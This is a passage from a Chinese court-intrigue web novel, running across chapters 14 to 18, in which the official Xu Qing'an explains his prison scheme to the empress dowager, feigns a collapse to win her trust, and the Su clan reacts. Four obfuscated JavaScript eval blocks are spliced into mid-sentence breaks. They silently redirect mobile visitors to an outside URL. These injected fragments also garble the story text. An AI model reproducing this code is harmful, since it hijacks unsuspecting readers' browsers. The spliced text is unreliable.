徐卿安在这里改述了自己的计划,半真半假道:“自他入狱时,臣便察觉到这桩案子暗地里有旁人关注,所以当夜我就故意告诉他,我要深挖此案,让他交代他背后还有谁?” “呵,他自然是不肯说的,但臣当夜去寻他的不寻常之举定会引起他背后之人的注意,我此举不过借他之口将话转述给他背后之人,所以才有了后面这一系列的事情。” “而娘娘刚才说的将我彻底卖出去?”徐卿安自若一笑道,“我只是单方面地激他,又未与他达成协议,又何谈他卖我呢?” 其实针对这一事,徐卿安不是没有担忧过,所以他最先对刘昌施以酷刑,除了上官栩说到的那两点原因外,还有就是他想试一试刘昌,到底他是只贪财贪色,还是既贪财贪色又贪生怕死。 徐卿安自然得到了后面那个结果,而水刑残酷,除了在生理上的直观感受外,还会让受刑者在反复的窒息感中蒙生求生欲,受刑越久,求生欲越强烈。 刘昌毫无骨气,多日受刑使得他求生的欲.望达到顶峰,又因苏四郎的例子在前,深知苏氏绝不会救他,那么徐卿安与他的交易就成了他不得不抓住的稻草。 不过这也确实加着赌的成分。 然而退一万步说,就算徐卿安真的赌输了,刘昌要与他玉石俱焚,他也不至于陷入死局。 刘昌这么多年都没被苏望清算,就是因为他当初帮他们所做的丑事不涉及他们最核心的部分,也就是说他只是参与了构陷工部官长一事,在他的视角中,当年上巳夜之事仍是意外。 所以哪怕刘昌告诉他背后之人,徐卿安已经知晓四年前他构陷一事,那么徐卿安也可以说是因为他近日通过刘昌贪污案查到了一些,从而搪塞过去。 这样对于以后来说是要麻烦些,但也只是麻烦,在几乎确保刘昌不会与他同归于尽的情况下,完全值得一赌。 生死一次,到底更会看人心了。 徐卿安兀自轻笑一下。 上官栩又问:“那你又如何确定,他们会用血书这个法子?” 徐卿安抬眼望去,深深地笑了笑,为她添了新茶:“不知娘娘听不听戏?知不知道最近京城中唱得最热闹的是哪出戏?” 民间热闹,哪能事事都传入宫中,而上官栩一向没有看戏的兴趣,自然不知。 徐卿安答道:“是《缇萦救父》,故事也就是取自于汉代文帝时期,淳于缇萦为救父,写下血书求能以己代父受罪的故事。” 所以徐卿安从来都不是只把赌注压在一个人的身上,他还要潜移默化地影响环节中的每个人。 上官栩了然:“牢中本就条件有限,他们若想借刘昌之死来拉你下水,写血书这个方法写血书确实是最快、最震撼也是最合理的法子,就算他们没有想到,这戏一唱出去也帮他们想到了。” “而你去审刘昌的时间也定是测算好的,不能太早也不能太晚,要让刘昌能写完血书,又不能等到白日放任你去细查此案,所以逼刘昌去死的人不会耐心等刘昌一点一点地将血书磨出来,而是会帮他“出血”。” “谁知此举却正中你下怀,就算他们后面反应过来,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715882|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案应该也到了押你审讯的地步,那血书作为证据也是动不了了。” 徐卿安道:“娘娘说得是。” 其实为了保证他能顺利破局,让人帮刘昌“出血”,也是那夜徐卿安向刘昌暗示过的事。 一环扣一环,就是为了万无一失。 上官栩不禁扬声笑了出来,拍掌道:“精彩!环环相扣,精彩至极!果真是数十年才能出一位的春闱铨选双元啊,徐御史如此厉害,可当真是让我刮目相看。” 徐卿安谦逊道:“不敢当,臣以身入局,押的是自己性命,自然要事事小心些。反是娘娘,才是真正聪慧之人。” 他迎上她的目光,含笑道:“娘娘不仅看出了血书中的端倪,还借以告诉臣如何炖煮鸡汤的名义,告诉了臣那血书中存在的问题,臣很感恩娘娘。” 是,上官栩见过血书后的当晚也察觉到血书上血量不对的问题,故而以杀鸡取血的方式向徐卿安做了暗示。 上官栩瞥目,不甚在意道:“那又如何?既是你提前就谋划好的,我那汤自然也就没算帮上忙。” 徐卿安顿时眼泛真诚道:“可是臣喝到娘娘送来的鸡汤了呀,虽不是娘娘亲手所炖,但那碗鸡汤却确实鲜美。” 上官栩一下回目:“你怎知不是我亲手所炖?青禾有给你说过?” 徐卿安神情微滞。 自是没有的。 他能知道,只是因为良久以前他曾喝过她亲手所炖的鸡汤,他刻骨铭心。 那味道许久不见,如今一时回味,怎知竟随口说了出来。 上官栩反问后,徐卿快速调整神情,从容道:“这有什么好说的么?臣自是知道娘娘金枝玉叶,不会轻易下厨,如此说也不过是聊表遗憾罢了。” 到底是个理由,没露出什么破绽,恰上官栩也不是特别在意,此问也就顺过去了。 而徐卿安也趁机转移到其它话题:“所以,臣送的礼物,娘娘喜欢么?” 可上官栩仍是装傻道:“你把整个御史台搞得乱,此盘棋确实厉害,可这和我有什么关系?在御史台任职的也不是我啊。” 徐卿安叹了口气:“娘娘何必如此,臣都这般细致地将臣所行之事讲了出来,娘娘为何还是不信臣。” “也罢,那臣便再讲讲吧,也好让娘娘看看臣的忠心。” 他道:“如今陛下年幼,朝堂政事大致有您和苏相公共同协力处理,表面看似其乐融融、风平浪静,但背地里的暗流涌动,谁又说得清楚?” “臣寒窗苦读十余载,有幸能入朝堂自然不甘只做一个下品官吏,而臣若想有所建树,单打独斗确是万万不行的,臣想投身娘娘,为娘娘谋事,除想借娘娘之势大展宏图外,自也是想求得娘娘的庇护。” “但臣深知,娘娘手下绝不养闲人、蠢人,所以臣便用今日发生在御史台的乱事向娘娘表诚意。” 上官栩嗤笑一声:“这话稀奇,御史台乱了,算什么诚意?” “因为御史台不在娘娘的掌控之下啊。”徐卿安微扬眉,一双桃花眼盈盈,“难道娘娘真的甘心让朝权悉数旁落于一人手上,任他做大,架空皇权么?” 风吹过窗牖,茶盏中的茶水表面泛起涟漪。 二人对视几瞬。 上官栩忽而轻笑,她眼波柔柔,语气轻缓,妩媚中带着讥诮道:“你当真大胆,你说的那个人在世人面前为朝事殚精竭虑,无人不称他为贤相,你如此挑拨……”她眼神和语气蓦地变冷变狠,“就不怕我把这些话告诉他,杀了你么?” 徐卿安抬眼,泰然自若地回以微笑:“就是为了能让娘娘杀了我啊。” 15. 第 15 章 那话确实说的大胆、疯狂,上官栩从未与这样的人打过交道。 她凝眸看他,目光幽沉。 可是人观寒潭,能看见的也不过只是水面上自己的倒影,焉能看透潭底到底有着怎样的风云。 而徐卿安垂眸解释道:“臣子侍君,若想取得主君信任,绝非只光靠‘忠诚’二字就能实现,甚至这两字都不是其中最重要的。” 他抬眼,缓声而正色道:“最重要的当是‘掌控’。” “一个臣子能力越强,主意便会越多,也就更容易引得主君猜疑,然而臣若能为娘娘效力,自然是想做能臣的,所以在此期间,臣就需要安娘娘的心。” “臣如今将臣所为全数告诉娘娘,就是心甘情愿将自己的把柄交到娘娘手中,若哪一日,您不要臣了,觉得臣没有可用之地了,那么这些把柄就是能让娘娘轻松杀了臣的刀剑。” 说到此处,徐卿安突然撩袍而跪,拱手诚心诚意道:“臣自春闱后就曾向娘娘表过心意,然时至今日,娘娘似乎仍不信臣,故臣今日剖肝沥胆,只求娘娘能够多垂信臣几分,让臣能于娘娘手中觅得几寸容身之地。” 一番倾心相诉后,上官栩面无波澜,只望着茶盏中的茶水,手指轻轻敲在盏壁上:“徐御史如此识得人心,若想大有作为选苏相公岂不是更好?” 她始终没有移眼看他,只望着那茶盏中若有若无的涟漪。 不过徐卿安上身立直,身姿依旧挺拔恭敬:“娘娘莫不是在玩笑臣?苏相公背后的势力如何,娘娘一清二楚。他势力发展至今,且不说有多少心腹,就光说苏氏子侄就有好几个在朝中任要职,臣若到他那儿去,何时能够出头?” 上官栩笑:“你这话说的,颇有几分宁为鸡头不为凤尾的感觉。” “娘娘才是凤。”徐卿安正色道,“臣效忠娘娘才是遵循礼法之举。” 上官栩一顿。 是啊,如今皇帝年幼,她以太后之尊代帝理政,可以说她代的其实是君权,纵而苏望权倾朝野,势力再大,究其根本,也不过只是相权浸盛,君权式微而已,但君在臣上,按理说君权相权,君权才是正统。 徐卿安埋下头,压住不受控地情绪。 是啊,明明她已是皇后,为什么、为什么她还要…… “其实按着你的想法想下去,你应该已经对逼死刘昌之人的身份有了猜测吧?”上官栩轻声道。 徐卿安依旧垂眼说着:“刘昌官至四品,能这样对他的,自是地位比他还要高的人,而他又是在台狱中出的事,那么那人的范围便更小了。” 上官栩:“如此说来你还真是送了我一份大礼,若是真能借此把那人抓出来,再以此对他背后的势力发难,到时莫说御史台,恐怕就是三公之位也保不住。” 徐卿安:“这确实是一种手段,然而若行此事,也需徐徐图之。” “娘娘如今在朝堂上的势力与另一位相比实在算不得占上风,甚至还可以说差了一大截,所以臣以为不可一下逼得紧了,否则引得他们鱼死网破反而是弄巧成拙。” 上官栩当然知道如今不能把苏望逼急了,她说那话也只是想试一试徐卿安,若他真有其它心思,那他或许刚才就应该顺着她的话让她借御史台的事直接向苏望下手。 不过如今他的想法倒和她是一样。 只是……怎么觉得他现在安静了许多,更感觉他周身蒙上了一层阴翳,雾蒙蒙的,似一下落寞了。 上官栩不禁问:“你怎么了?你还在想其它的事情?” 徐卿安终是抬起眼,如水洗过的双眸望来,眼底反着亮光:“娘娘为何这样问?” 上官栩瞥目:“没什么,只是看你似乎有些心不在焉的。” 徐卿安扯着嘴角笑了笑:“是啊,臣不是想着娘娘还没对臣的话表态嘛,臣紧张得很呐。” 他语气轻松,又是花言巧语起来,上官栩便知自己刚才想多了。 本就是没心没肺的人,有哪里会有什么可怜之处呢? 她复而冷声道:“徐御史才高识远,这段日子以身入局,又受了那么多的苦,我自然不能辜负了徐御史。” 听到“辜负”二字,徐卿安袖中的手慢慢攒紧,然脸上的笑意却愈盛,但也愈发僵硬。 而上官栩继续道:“至于你刚才说的……其实徐御史这样的才士,能选择为我谋事,也是我的幸事,我又怎么舍得杀你呢?” “起来吧,地上凉,徐御史也跪得够久了。”她莞尔露出一笑,然笑意似冬日的阳光,没有温度。 徐卿安便谢恩起身。 “能得娘娘此言,臣不胜……咳咳咳!” 话还没说完,徐卿安突然剧烈地咳起来,瞬间满脸涨红,骇得上官栩一跳。 然他还没完,他似失了力气,身形一个不稳,陡然半跪下去,随之而来的便是“噗嗤”一声,一口鲜血被喷在地上,脸色由红转白。 “你怎么了?!”上官栩离开座位,半蹲到他身旁扶住他,“你……” 一切毫无征兆,连反应的时间都没有。 徐卿安连跪地的力气都没有,脚下一松,跌靠在了上官栩中的怀中。 咳嗽之后他开始大口喘气,感觉他的一切动作都变得吃力:“药……药!” “在哪儿?”人命关天,上官栩也顾不上他失仪了。 徐卿安颤颤巍巍地举起手,指向书案后的物架:“那个匣子……药瓶在那个匣子里!” 上官栩将他扶到坐榻旁倚着,起身去到他所指的地方寻药。 然而她打开时才发现里面不止一个药瓶。 “是哪个颜色的?” 其中有两个瓷瓶,一个净白瓶,稍大些,瓶口由瓶盖盖之,一个朱红瓶,瓶口是用瓶塞塞住的。 “红色、红色的那个……”徐卿安痛苦地回答。 上官栩取了药瓶回来:“几粒?” 徐卿安喉中挤出一个“一”字。 她当着徐卿安的面将药丸倒出来帮他服下,又为他取了茶水。 终于,过了一会儿,徐卿安的呼吸慢慢缓了下来。 虽然他脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715883|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上血色依旧惨白,但神情看起来已没刚才那般痛苦。 上官栩松口气。 而怀中的人撑着起身,在她面前转变为跪姿,俯首道:“臣……谢娘娘救命之恩。” 上官栩蹙眉看他,见他唇上还挂着几抹红:“你此前只说你身子不好,我竟没想到如此严重,那你还……” 还不惜以身入局,去牢里受那样的罪。 她问:“你此番反应是否与前几日你入狱有关?” 徐卿安微微颔首,勉强回笑道:“既是想要争得什么,就总得付出什么,有得有舍,也是常事。不过这其实也怪臣一时马虎,入狱前忘了把药带在身上,又心想着几日不吃药没什么大碍,便也一直没有提及,谁知,是臣高估自己了。” 狱中寒湿,本就不适合人居住,期间还要受刑,寻常人都难免不堪重负,身子骨差的人更是雪上加霜了。 然而这些话上官栩终是没说出来。 “那你之后可能安好?” “免不了需要调养一阵子。” 上官栩沉默。 徐卿安悄悄看过去,见她脸上似乎除对刚才他的反应还没完全回过神外,并没有任何关切的神情浮现。 恍惚间又忆起了以往一起玩乐的日子…… 他不禁闭了闭眼,喉结滚动:“今日让娘娘看笑话了。” 上官栩回看向他:“不用再说这些话,你当下还是先把身体养好吧,御史台的事就先别去操心了。” 徐卿安轻轻地“嗯”。 上官栩道:“时辰不早了,我不能在外耽误太久,你好生歇着。” “臣送娘娘。”徐卿安挣扎着要起身。 上官栩轻按住他:“何必逞强,徐御史是聪明人,理应知道力气该用到哪些地方。” 徐卿安歉声:“娘娘说得极是。” 上官栩再看他几眼,终是起身,沿着她来时的路离开。 可本该在屋中的休息人并没有听她的劝。 拐角的廊柱边,徐卿安手撑着,无声地望着她的背影,眼眶猩红带泪。 “我怎么舍得杀你呢。” 脑中的声音重复不停,和他的执念不停抗争。 对啊,你怎么舍得…… 怎么舍得…… 呼吸愈发不稳,身姿轻晃。 又是一阵呛心的咳嗽。 他恍惚着,更痛苦着,连从院外慌忙奔来的荀阳向他说的话都像世间其他的杂音一般,过耳即忘—— “你几日不吃药就是为了今日在她面前吐血?你狱中一趟本就不易,才养好的身子……” 声音戛然而止,荀阳把着他的脉,面露震愕:“你刚才吃的什么?吃的什么!那不是缓毒丹!你疯了?!” 荀阳歇斯底里,声音终是被捕捉。 “噗……” 伴随着一声闷闷地噗吐声,一汪鲜血从徐卿安嘴中泻出。 他无力地向后仰倒,头望着廊顶。 双目失神,脑中仍是重复着: 你怎么舍得…… 16. 第 16 章 安和七年,庄帝立六皇子景知为太子,授宰相上官适太子太傅衔,以老师之名辅佐太子。 庄帝晚年时身体不好,在培养太子的许多事情都心有余而力不足,身为宰相的上官适也是事务繁多,难常抽身去东宫讲学,庄帝与上官适是少时好友,更是对其多加信任,他欲教太子尊师重道,便让太子常去上官府中执经问难。 而年幼的周景知好学好问,每每去时都要呆上好几个时辰,直到所有问题完全得到解惑才肯离去,上官府便也为他置了间书房。 那日,他向上官适请教了昨夜他于东宫中自学时所留下的疑问,而后他就独自在书房中开始对当日所问进行查漏补缺。 日光熹微,暖光洒入房内,少年端坐在书案前,捧卷细读,他年纪不大,然举手投足间皆是隽秀文雅,锦衣金冠,风姿特秀,如玉如竹。 一位少女在门口悄悄探出头,望向了屋内。 察觉到门口光影的变动,周景知抬起脸,见女郎美好,眼波灵动,正望着他。 “你就是太子殿下么?”见屋中的人望来,小娘子开了口,虽声音娇嫩,但并不怯懦,目光中更多的亦是好奇。 周景知抿唇,轻轻点头,亲和道:“你是阿栩妹妹么?” 不过六岁的上官栩歪了歪头,闻言有些意外:“太子殿下见过我?” 周景知微笑地摇摇头:“听人说过,老师家中有一儿一女,而前几日和大郎君研学时,他也曾提到了阿栩妹妹,想来便猜了猜。” 说着他又笑了笑,很是知礼温润的:“只是没想到,我来这几日,今日才得与阿栩妹妹相见。” 他的声音很温柔,也有许多人叫她阿栩妹妹,可是那种感觉,他带来的似乎与他们的都不太一样。 上官栩咬唇,眼珠思忖地转了一圈道:“前几日我和阿娘去净明寺了,今日才回的家。” 尽管眼前的这位太子殿下看起来很温柔,但是却不知道他真实秉性如何,上官栩便觉得她还是应该先解释一下她前几日没有来拜见他的原因,否则若他以为她是刻意怠慢他,对他不敬,恐会连累到家里。 “哦……”周景知认真地点点头,他其实并没有想到过她担心的那个问题,不过是礼貌地做了回应。 而比起她想的,他现下考虑更多的,是见女郎还歪着身子探头看他,期间交谈时也不变动作,便担心她是否会因这样的姿势而感到不适,进而关切道:“阿栩妹妹这样站着可是不便?不如进屋坐会儿,一起看会儿书?” ……上官栩转身走了。 她不想看书,她才回府中,她想趁课业没来之前先去玩个够。 所以那话之后,她离开得干脆。 而房中,徒留座上少年持着书卷错愕惘然,不知刚才是哪里说错了话。 …… 十余个春秋一晃而过,每每忆起初见时光,上官栩唇角都不禁挂上笑意,然而那一瞬之后又是无比的遗憾—— 斯人已去,故地难游。 早知如此,当初何不应他的话,留下与他一起看看书?哪怕其间静谧无声,可能相伴着也总是好的。 上官栩鼻尖酸楚,眼前又起了雾。 青禾领了太医进来,人影攒动,上官栩收回了心绪。 上官栩身侧的小几上放了一个小盘,其中间盛了一个似药丸的东西—— 这是之前她在帮徐卿安拿药瓶时,背着他倒出来的。 其实另一个瓶子里的药物她本也想带走一点,然而她打开时却发现里面是用于外敷的药膏,这才回想起那应是当时上元夜落水她扇了他一巴掌之后让青禾送给他的去肿药。 上官栩对太医道:“劳请太医帮我看看,这药丸是用来治什么病的?” 太医领命。 药丸成分并不复杂,太医又是行医多年的老大夫,不过一会儿后便有了答案。 太医将药丸放下后重新站好,拱手道:“回娘娘,这药是人参丹,乃大补之物,常用于补续心血,吊续寿命。” “吊续寿命?”上官栩前两个字咬得很重,似对这样的作用有些意外,便又问,“若是寻常人吃了会如何呢?” 太医蹙了蹙眉:“这药药性极强,说是人参丹,但其实也只是以人参为主,其中还加了其他大补之物,若是寻常人吃了这样的药物很快就会出现不适,其中鼻衄脸热最是明显。” 上官栩回想起徐卿安那日吃下药之后的反应—— 他服药之后其实缓了一阵,虽之后面色依旧不虞,但是相较于他服药之前的状态确实好了很多,有明显的回转之意,而且他们中间还说了一会儿话,但也始终没有出现太医说的“鼻衄脸热”的情况。 吊续寿命……如此说来,倒真是有重疾的表现。 可他在她面前失态至此,狼狈至此,莫非是真的如他之前所说的那样,是一时失策忘了将药带去狱中?还是这又是他交给她的“把柄”? 上官栩目光凝于那颗药丸之上。 她的确想用他,御史台之事让她见识了他的能力,他的确能帮她做很多事。 然而也正因此,她发现他的心思实在太深,太狠,包括对她的许多诚意也都来得太过轻易,她信不过他,更没有把握能拿住他。 —— 苏家这边也并不安宁。 苏然独自跪在苏望的书房中,等候苏望在前厅与人处理完事之后回来。 前厅内,苏望将事情吩咐下去后坐下饮了口茶,正准备歇一歇时下人便来提醒道,五郎君还跪在书房中。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715884|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏望这才想起来,起身往书房去。 “你可知你这次错在何处?” 哪怕屋中无人,苏然也跪得笔直,等到苏望的声音在后响起时,他心中一凛,又立马垂眸认错道:“侄儿不该擅自行动,以至疏忽轻敌,让御史台局势被动。” 苏望深呼一口气,慢步到上首位置处坐下。 他道:“你不止错在擅自行动,还错在行动。” “我在最初时就与你说过,刘昌的事没必要管,你为何就听不进我说的话呢?” 苏然拱手:“侄儿只是担心……” “你只是担心他之前所为的事被查出来!”苏望忿忿打断道,“所以你就一直在暗中关注着他的审讯情况,直到有一天他真的告诉了你,那位徐御史查到了他四年前的事,然后你就慌了?全然不管他话里几分真假,也不管这事一旦被人察觉之后到底有多严重?” “愚蠢!” 苏望压着怒气:“当年之事,你一清二楚!刘昌所为不过皮毛,他若真的那么重要,岂能让他安然至今,等着别人来杀?” “就算这次他真的被查出来又如何?左不过就是给他自己再加了一个构陷官长的罪名,与你有何干?” 苏望质问:“难道他真在狱中对你说,这事已经查到你身上,你和他快要一起完蛋了?” “没有,是侄儿慌神了。”苏然轻声,头垂得很低,“侄儿也是之后回想起来才觉不对,刘昌那人一向贪生怕死,许是见侄儿去见他便想破釜沉舟,看能不能以此求得个活路。是侄儿一时恍惚了。” 苏望瞧他一眼,似叹似惋惜,放缓语气道:“你这一慌神,不仅御史台乱了,就连工部也跟着生变了。” 苏然诧异抬头。 近几日因御史台的事,他并未上朝,也就不知朝中到底发生了什么。 苏望凝眸沉声道:“今日小朝上,太后与三省共同商议,因工部刘昌之事,整个工部都要彻查,所有升调全部暂停。” “虽然余下的那个侍郎我更为看好,且如今工部不升调,侍郎又只有一个,他也当是工部之首,可是哪怕只一步之遥,侍郎也只是侍郎,你说这到底是好事还是坏事?” 苏然察觉到了什么,问道:“没有尚书,又只有一个侍郎,那工部四司之事岂不是只由一人来统管?可工部事务烦杂,一人又如何能管得下?” “是啊。”苏然垂眸,再抬眼时眼神幽幽,意味深长,“所以就需三省介入了嘛。” 工部之权分入三省。 苏望轻笑了笑:“宫里的那位娘娘啊,不是当初的小女郎了。” 他望向苏然,语重心长道:“五郎啊,你也要改变一些想法才是,不要行差踏错,像你四哥那样,让人遗憾惋惜。” 17. 第 17 章 苏然离开了苏望的书房,明明并未受到什么责罚,他却神色恍惚凝重,脑中的一些东西一直想不透,被缠着,只觉昏沉、混乱,脚下步子沉重。 他是苏望二哥的儿子,苏家儿郎中,唯与苏四郎是同父母兄弟。 然而他的亲兄长却死于自己叔父的逼迫下。 可他并不责怪他的叔父,虽然他也跪地向苏望乞求过,只求再给他哥哥一个机会,然而真当最后结果下来时,他也只当是他的叔父坚守他的道,一切都是为了苏家门楣,为了秉承大伯的遗志。 他幼时最崇敬的人,是他的大伯父苏瑜,也是时人所称的玉华公。 可是玉华公高华,他每日不仅有政事缠身,还要应对各地其他名士前来的拜访,所以他自小便跟着他的三叔父苏望读书学道。 三叔父承继大伯遗志,同样是他敬重的人。 苏望教他读圣贤书,学圣贤道,也多次赞赏他,说他是他所教授的学生中,学的最好的那一个,故而也对他寄予厚望。 他很感恩。 然而苏望也常叹,他们这辈年轻人到底是只成长在平和的生活中,对书中所说的“变革”、“流血”的理解都只停于纸面之上,所以真当那些”殇”、“痛”、“血”横亘在了自身面前时都一时难以接受。 “可是有些事情做了便是做了,你初时选择做,就是因为你的选择更符合你心中的道,你无需之后再纠结什么。” “诚然一些事情,你会觉得亏欠了一些人,但你也应清楚,所谓“革新”、“破立”都要先落于第一个字,而那一个字往往就代表着——牺牲。” 牺牲…… 苏望曾说,世间之事若为大局,人人万物皆可牺牲。 苏然接受苏望的道,奉行苏望的道,然而或许真如苏望所说,因为对一些东西的理解只停于纸面未曾切身体会过,所以当他真正面对时,内心深处便始终无法将其完全接受。 所以他在那夜见到刘昌时慌了神。 刘昌哭着求他救命,说当下唯有他苏中丞能救他了,刘昌说他知道苏公不会出手救他,苏公连自己的亲侄儿都不赦免,更何况他一个外人呢。 这话苏然听进去了。 他想起了自己的四哥。 这些年来,他深受苏望器重,帮苏望行了不少事,许多他叔父不方便出面的事都由他来做,他敬重苏望,追随苏望,可是他始终无法完全消化苏望所说的道。 也就是说,他意识深处觉得有些事是错的,是不能容人窥见的。 例如刘昌四年前所为之事。 那事由他出面主导,若是任人查下去,查到了他的身上,那世人知晓他行过那样的错事之后,他的叔父可会救他?还是说会让他像他四哥那样,被迫给世人一个交代? 所以,苏然要趁早杀了刘昌,最好也杀了所有可能查到那些往事的人。 可惜他大意了,不仅没有成功,还将御史台和工部也搭了进去。 许多事情哪怕他意识深处真过不去,但只要他不想不念便总能将那些不安压下,可是竟就在那时被刘昌的一句话挑起来了。 夜间时分,是人最脆弱的时候,这是每个刑讯之人都知道的事,在御史台任职多年的苏然却偏偏在那时栽了跟头。 苏然想起这些兀自心烦,悔恨又懊恼,只觉自己做了蠢事。 他叫了随侍的人过来,安排道:“去将行装收拾好,我要去净明寺住段时日。” —— 这段日子,上官栩不仅在御史台和工部上下了文章,还对徐卿安有了新的安排。 徐卿安自去岁为官开始,协理礼部案,主持上元祈福,又找出了致使游船漏水的真凶,期间更是还救下了落水的太后,几功毕一自是要大为封赏的。 再加上台狱一遭,又委实冤枉了他,都听说他身体不好,又因受了皮肉之苦,从台狱出来后就直接呆在府中卧床养病了,听说一连几日,连房门都没出。 如此,恩赏和补偿便都要有。 果然,升调诏书下来,他从御史台去了刑部任员外郎,官阶一下从正八品下跃迁到了从六品上。 而上官栎曾为刑部侍郎,这次升调自然便有上官栩的手笔。 徐卿安倚着坐榻上的木几靠坐着,升调诏书的一端捏在手中,从案几上垂下铺陈到了腿上。 徐卿安用指腹摩挲着诏书末尾的玺印。 “别看了,先把药喝了。” 荀阳的声音在旁响起,徐卿安刚一侧头,就见到一碗泛着缕缕雾丝的药,苦味直入肺腑。 徐卿安眉头不禁一皱。 荀阳见状丝毫不容情道:“皱什么眉,还不是你自找的。” “你体内之毒本就性寒,几日不吃缓毒丹也就罢了,你还偏偏要去吃人参丹那样的至阳之物,两者相抗,好不容易调养好的身子又白搭了。” 荀阳嘶一声:“你这样折腾一遭到底为的是什么啊?” 便是不算生死一遭,但其中身体泛起痛苦也够得人受得,他着实想不明白。 徐卿安接过药碗,轻晃了晃,把里面的热气散开,又吹了吹,淡声说道:“我若不这样,她不会相信我体弱至此,但我也不能在她面前服用缓毒丹,否则若让她拿了回去给宫里的太医看,她不就知道我中的是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715885|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么毒了吗?” “我身上的毒须大夫诊过,是特制而成,那毒既还残留在我体内,就不能让她瞧出什么端倪。” “你是不是还放不下她?”荀阳不管他说的那些话,只突然问道。 徐卿安动作一顿。 荀阳轻叹:“我诊了你的脉,你吐血纵然有没及时服用缓毒丹的原因,但更多的是气急攻心。”他探究的眼神向座榻上的人投去,“当时在房间的就只有你们两个,可是她对你说了什么?” 徐卿安将唇贴近碗口,语气淡淡:“没说什么。” 他仰头,将药一饮而尽,又被苦得闭紧眼,缓了许久才重新睁开。 许是药实在太苦,他长睫微湿,呼吸也比刚才明显。 药碗被放置在旁,轻碰一声,便再无其他声音。 荀阳知他不肯多答,立直身子挑眉道:“我跟你的那些旧部可不一样,在我眼里,你就只是我的病人,按道理来说,你想治病,你就得听我的,而像我们大夫,最怕遇到的一类病人,就是隐瞒病情不报的,甚至谎报的。” “当初我师父同意你不将毒拔净就下山,也是因为你向他保证过,你此番而来只为给故人洗刷冤屈,让为恶之人得到报应,可不是像现在这样来这里伤身的。” “如今我师父才启程回山为你准备下次拔毒的药物,你最应做的就是调养好自己的身体,以应对下次拔毒,而不是像前几日那样乱来。” 荀阳说得语重心长,徐卿安终是抬眸来看他。 荀阳便趁机再道:“有些答案,你三年前便知晓了,为何现在还过不去?还看不透?物是人非,变的不只是你,也包括你记忆中的……她。” 是啊,物是人非,他被迫在炼狱中走了一遭,如今一步步挣出来,面目全非,他尚且都弃了那些君子之道,又更何况如今风光正盛、居于明堂之上的她呢。 每每遥望她时,她眼中的笑,他都是看不透的。 徐卿安闭上眼。 荀阳不由得轻声:“莫非真的放不下?” 徐卿安复而睁开眼看他,眸光轻闪,终于开了口:“不必担心,我所为皆有我的计划,我有分寸。” 荀阳:“……” “行。”他良久憋出一个字,又将一个天蓝色的小瓷瓶放到了木几上,“缓毒丹给你还回来了,后面记得吃。” 徐卿安轻嗯。 而待荀阳离开后,他又摩挲着那封诏书出神。 何时才能信任我啊? 可也要尝一尝被至爱至信之人背叛的滋味? 然而时至如今,你竟都已经失去了信任人的能力了么? 18. 第 18 章 净明寺是长安城中最著名、香火最旺的寺院,长安三大道场就在其中,是诸多达官贵人都喜欢选择的为家人祈福诵经的地方。 刘昌说他在此处为先前工部的几位大人点了长明灯,又恰逢近几日长安多雨,外出的人减少,徐卿安便挑了个人少的日子来了净明寺看一看。 净明寺香火旺,按理说每日香客就多,可近几日下雨,礼佛的人自然也会少一些,然而徐卿安刚入净明寺,便觉人数相较往日不少反增,再一细看,更是察觉到这其中有些人不像是来烧香礼佛的,反而举手投足间更像是领着任务的行伍之人。 果然在他拜完灵牌,准备往寺庙后院拜访时被僧人拦了下来—— “本寺今日后院并不开放,还请施主止步。” —— 同时间,上官栩在后院内的一间佛殿内将抄好的经书捧交给住持方丈。 上官栩恭敬道:“有劳密因大师了。” 密因双手接过经书:“娘娘每年都会亲至净明寺抄经颂佛,一坐就是一整日,此般虔诚,佛祖定能感应,护佑娘娘心中所念之人。” 上官栩浅笑道:“家母在世时就常来寺中礼佛,她说净明寺的师父们都是善知识,与师父们相谈,总能让她心中浮躁散去,心静神定,是而家母故去后,我也就想着多来寺里为她抄经祈福,也算是与她心魂相通了。” “只是可惜,如今身份不便,并不能常来。”上官栩蓦地垂眸叹道。 